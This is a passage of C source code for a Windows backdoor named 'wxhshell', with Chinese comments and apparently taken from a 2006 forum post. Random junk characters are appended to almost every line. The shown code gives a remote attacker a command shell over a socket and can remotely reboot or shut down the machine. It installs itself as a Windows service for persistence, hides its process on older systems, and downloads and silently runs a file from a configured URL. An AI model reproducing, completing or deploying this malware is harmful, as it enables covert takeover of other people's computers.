      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _e3kO6X  
    break; nWAx!0G  
  } DU/WB  
  // 安装 MH,vn</Uw  
  case 'i': { @ \(*pa  
    if(Install()) Dk XB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L5tSS=  
    else 5w+X   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LE:nmo  
    break; kmXaLt2Z  
    } .oFkx*Ln  
  // 卸载 >>C(y?g  
  case 'r': { 2|n~5\K|t  
    if(Uninstall()) 0*KU"JcXd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@I.socA  
    else k6vY/)-S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v&GBu  
    break; 8s_'tw/{  
    } ovn)lIs  
  // 显示 wxhshell 所在路径 ^gpswhp 5  
  case 'p': { *MFsq}\ $  
    char svExeFile[MAX_PATH]; T 6g(,xPcL  
    strcpy(svExeFile,"\n\r"); O67.DEu^  
      strcat(svExeFile,ExeFile); F(i@Gm=J]  
        send(wsh,svExeFile,strlen(svExeFile),0); Htf|VpzMb  
    break; s5TPecd  
    } ?Rj)x%fN  
  // 重启 ie!ik  
  case 'b': { _ ecKX</Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D d$ SQ  
    if(Boot(REBOOT)) cDS6RO?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6R+m;'  
    else { U0/X!@F-  
    closesocket(wsh); g6kVHxh-  
    ExitThread(0); Nn],sEs  
    } E}V8+f54S  
    break; d?)C} 2  
    } SqhG\qE{Qj  
  // 关机 [D=3:B&f  
  case 'd': { )o<rU[oD]C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :N<ZO`l?  
    if(Boot(SHUTDOWN)) 7Xu.z9y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>V4pgGCE  
    else { dM{xPpnx  
    closesocket(wsh); ~97T0{E3  
    ExitThread(0); T _O|gU  
    } 4$oX,Q`#  
    break; iv*Ft.1t  
    } sILkTzs w  
  // 获取shell S/? KC^JP  
  case 's': { 2V0gj /&  
    CmdShell(wsh); 4|*H0}HOm  
    closesocket(wsh); V3'QA1$  
    ExitThread(0); h-Q3q:  
    break; , wT$L 3  
  } 4%TY` II  
  // 退出 fCL5Et  
  case 'x': { &xlz80%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *OT6)]|k  
    CloseIt(wsh); YH( 54R  
    break; z (,%<oX  
    } VemgG)\  
  // 离开 ei>8{v&g  
  case 'q': { h5-<2B|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tc%?{W\  
    closesocket(wsh); }>\+eG  
    WSACleanup(); %G& Zm$u=  
    exit(1); !Qu)JR  
    break; :_%  
        } ^h z4IZ^  
  } ^@'LF T)  
  } e 'I13)  
x(nWyVB  
  // 提示信息 >W= 0N (  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6e6~82t8/  
} Q Fv"!Ql  
  } oGi;S="I  
8m0GxgS  
  return; F)mlCGv:R  
} X0Q};,  
3_JxpQg  
// shell模块句柄 FTx&] QN?  
int CmdShell(SOCKET sock) ]g jhrD   
{ )vB,eZq  
STARTUPINFO si; }| BnG"8  
ZeroMemory(&si,sizeof(si)); xeqAFq=9?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0s"g%gq|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ppt`5F O  
PROCESS_INFORMATION ProcessInfo; rULrGoM  
char cmdline[]="cmd"; kDM\IyM<\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v7+f@Z:N*  
  return 0; `2S G{5o;  
} xyK_1n@b  
Re3vW re  
// 自身启动模式 75j`3wzu  
int StartFromService(void) '"{ IV  
{ _C3l 2v'I$  
typedef struct P>/n!1c  
{ >E&m Np  
  DWORD ExitStatus; A+Nf]([  
  DWORD PebBaseAddress; U$j*{`$4  
  DWORD AffinityMask; W8:?y*6  
  DWORD BasePriority; x j6-~<  
  ULONG UniqueProcessId; ?:(BkY,K5  
  ULONG InheritedFromUniqueProcessId; PSX-b)wb  
}   PROCESS_BASIC_INFORMATION; eJ+V!K'H2  
3+gp_7L  
PROCNTQSIP NtQueryInformationProcess; X8 uVet]D~  
x4jn45]x@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {umdW x.*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u?[dy n  
+5Yf9  
  HANDLE             hProcess; T!.6@g`x>  
  PROCESS_BASIC_INFORMATION pbi; %/17K2g  
Yb8o`j+t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [bd fp a  
  if(NULL == hInst ) return 0; X p4x:N  
tL68 u[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IKhpe5}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K4]c   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9/[3xhB4  
qk pnXQ  
  if (!NtQueryInformationProcess) return 0; tgn_\-+  
ob=GB71j55  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f!;4 -.p`  
  if(!hProcess) return 0; *Z"9QX  
dALJlRo"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (,~gY=E+  
LFHV~>d  
  CloseHandle(hProcess); ek~bXy{O`  
#wH<W5gSZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KlbL<9P >  
if(hProcess==NULL) return 0; h$)},% e  
uc@f#(-  
HMODULE hMod; CN6@g^)P  
char procName[255]; :*V1jp+  
unsigned long cbNeeded; G<9UL*HU  
8YJ8_$Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qP<wf=wY  
y#HDJ=2  
  CloseHandle(hProcess); "71@WLlN  
,6Ulj+l  
if(strstr(procName,"services")) return 1; // 以服务启动 A+d&aE }3V  
_ F&BSu  
  return 0; // 注册表启动 g3@Qn?(j!  
} ]*a3J45  
iOI8'`mk  
// 主模块 m\~{l=jIS  
int StartWxhshell(LPSTR lpCmdLine) h~rSM#7m  
{ _w8iPL5:  
  SOCKET wsl; s^Lg*t 3I  
BOOL val=TRUE; #Aox$[|@  
  int port=0; B`,4M&  
  struct sockaddr_in door; Rckqr7q  
.b*%c?e  
  if(wscfg.ws_autoins) Install(); |) {)w`  
s u]x  
port=atoi(lpCmdLine); J1kG'cH05  
)8Defuxk  
if(port<=0) port=wscfg.ws_port; @Y":DHF5q  
Y>*{(QD  
  WSADATA data; ?5d7J,"<h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IHCEuK  
%;+Q0 e9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o@6:|X)7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T/Q#V)Tp  
  door.sin_family = AF_INET; yD|He*$S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W|_^Oe<  
  door.sin_port = htons(port); 4%/iu)nx  
0`:B#ten  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #w3cImgp2  
closesocket(wsl); j}NGyS" =  
return 1; [5$=G@ zf  
} _]W {)=ap  
Ar4@7  
  if(listen(wsl,2) == INVALID_SOCKET) { Z)B5g>  
closesocket(wsl); -}nTwx:|5u  
return 1; 1DPgiIG~  
} $y~!ePKh  
  Wxhshell(wsl); i,jPULzyjk  
  WSACleanup(); B\BxF6 y  
kWs"v6B  
return 0; ;2X/)sxWz  
h^#K4/  
} 5(kRFb'31F  
wmh[yYWc  
// 以NT服务方式启动 :|i jCg+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) umV5Y`  
{ S EdNH.|I  
DWORD   status = 0; 7XLz Ewa  
  DWORD   specificError = 0xfffffff; |,k,X}gP  
?0HPd5=<v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0KknsP7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W#1t%hT$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n~xh %r;  
  serviceStatus.dwWin32ExitCode     = 0; /(-X[[V  
  serviceStatus.dwServiceSpecificExitCode = 0; qI,4 uGg  
  serviceStatus.dwCheckPoint       = 0; }{<@wE%s  
  serviceStatus.dwWaitHint       = 0; V<f76U)  
|`d5Y#26  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -s Iji)t  
  if (hServiceStatusHandle==0) return; B 14Ziopww  
V4Yw"J  
status = GetLastError(); h\GlyH~  
  if (status!=NO_ERROR) h?H:r <  
{ G  @ib  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >W%tEc  
    serviceStatus.dwCheckPoint       = 0; #SiOx/  
    serviceStatus.dwWaitHint       = 0; B=K& +  
    serviceStatus.dwWin32ExitCode     = status; FbRq h|  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ?Y4$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  w+<`>  
    return; ?`%7Y~  
  } >*v!2=  
IN2FO/Y@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZujPk-  
  serviceStatus.dwCheckPoint       = 0; @ %LrpD  
  serviceStatus.dwWaitHint       = 0; fba QXM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v{7Jzjd  
} 6BT o%  
;Js-27_0  
// 处理NT服务事件,比如:启动、停止 fg1_D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rap`[O|l=  
{ >gNVL (  
switch(fdwControl) `4V_I%lJ&  
{ $ K>.|\  
case SERVICE_CONTROL_STOP: y#-mj,e  
  serviceStatus.dwWin32ExitCode = 0; OmO/x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Yg=4>#$  
  serviceStatus.dwCheckPoint   = 0; 3=( Gb  
  serviceStatus.dwWaitHint     = 0; (gd+-o4  
  { hVPSW# .d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uH'n.d"WG  
  } 6J3:[7k=&  
  return; *T(z4RVg  
case SERVICE_CONTROL_PAUSE: g~EJja;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FSnF>3kj-  
  break; WZkAlg7Z  
case SERVICE_CONTROL_CONTINUE: lFMQT ;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @SA:64 9  
  break; $`L!2  
case SERVICE_CONTROL_INTERROGATE: ^(5Up=.EA  
  break; "PO>@tY  
}; P[NAO>&tX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iXl6XwWT%8  
} .6I*=qv)NA  
L[4Su;D  
// 标准应用程序主函数 Ji<^s@8Zc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LIM cZh;  
{ o5(`7XV6D  
tE"aNA#=  
// 获取操作系统版本 X"yj sk  
OsIsNt=GetOsVer(); y8/ 7@qw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !F3Y7R  
i@7b  
  // 从命令行安装 ,1-n=eTQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); EC *rd  
r=8(n<;Co  
  // 下载执行文件 V[&4Km9C  
if(wscfg.ws_downexe) { t#pF.!9=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k)+2+hX&>  
  WinExec(wscfg.ws_filenam,SW_HIDE); q$>/~aVM  
} $2l<X KT-  
t;ZA}>/  
if(!OsIsNt) { aYIAy]*1e  
// 如果时win9x,隐藏进程并且设置为注册表启动 SM3Q29XIw  
HideProc(); {<f_,Nlc  
StartWxhshell(lpCmdLine); CF|c4oY82  
} :{za[,  
else N5$IVz}  
  if(StartFromService()) .qBL.b_`  
  // 以服务方式启动 E .2b@  
  StartServiceCtrlDispatcher(DispatchTable); y%* hHnGd  
else YKF5|;}  
  // 普通方式启动 H=2sT+Sp  
  StartWxhshell(lpCmdLine); gJYB)LjH"  
Y](kMNUSg  
return 0; B J,U,!  
}
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只看该作者 1 发表于: 2006-10-10
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